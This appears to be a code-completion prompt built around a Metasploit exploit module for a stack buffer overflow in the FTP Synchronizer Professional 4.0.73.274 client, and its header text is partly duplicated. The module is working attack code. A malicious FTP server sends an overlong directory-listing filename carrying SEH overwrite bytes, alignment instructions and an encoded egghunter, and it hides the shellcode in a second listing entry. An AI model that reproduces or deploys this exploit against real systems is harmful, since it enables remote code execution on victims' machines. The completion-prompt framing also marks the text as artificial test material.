You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: ftpsynch_list_reply.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/ftp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro
        version 4.0.73.274 The overflow gets triggered by sending an overly long filename to
        the client in response to a LIST command.
        The LIST command gets issued when doing a preview or when you have just created a new
        sync profile and allow the tool to see the differences.
        This will overwrite a structured ex
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FTP Synchronizer Professional 4.0.73.274 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow vulnerability in FTP Synchronizer Pro
        version 4.0.73.274 The overflow gets triggered by sending an overly long filename to
        the client in response to a LIST command.
        The LIST command gets issued when doing a preview or when you have just created a new
        sync profile and allow the tool to see the differences.
        This will overwrite a structured exception handler and trigger an access violation.
      },
      'Author' 	 =>
        [
          'myne-us',  	#found the bug
          'corelanc0d3r <peter.ve[at]corelan.be>'	#wrote the exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x2f\x5c",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'XP Universal', { 'Offset' => 854, 'Ret' => "\x2D\x78" } ], # p/p/r FTPSynchronizer.exe
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-10-12',
      'DefaultTarget'  => 0))
  end

  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")
    totalsize = 4000
    foldername = "A" *  target['Offset']
    nseh = "\x61\x42"
    seh = "\x2D\x78"
    sehpad = "\x44\x62"
    align = "\x53\x62\x58\x62"
    align << "\x40\x62"
    align << "\x05\x11\x10\x62"
    align << "\x2d\x10\x10\x62"
    padding = ("\x42\x62" * 53) + ("\x48\x62")
    #basereg EAX, Unicode encoded egghunter
    hunter = "PPYAIAIAIAIAQATAXAZAPA3QADAZ"
    hunter << "ABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAX"
    hunter << "A58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
    hunter << "BAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ4"
    hunter << "4JO7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA"
    buffer = foldername + nseh + seh + sehpad + align + padding + hunter
    junk = "D" * (totalsize-buffer.length)
    buffer << junk
    print_status(" - Sending directory list via data connection")
    dirlist =  "drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{"w00tw00t"+payload.encoded}\r\n"
    dirlist << "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
    conn.put("total 2\r\n"+dirlist)
    print_status(" - Payload sent, wait for hunter...")
    conn.close
    return
  end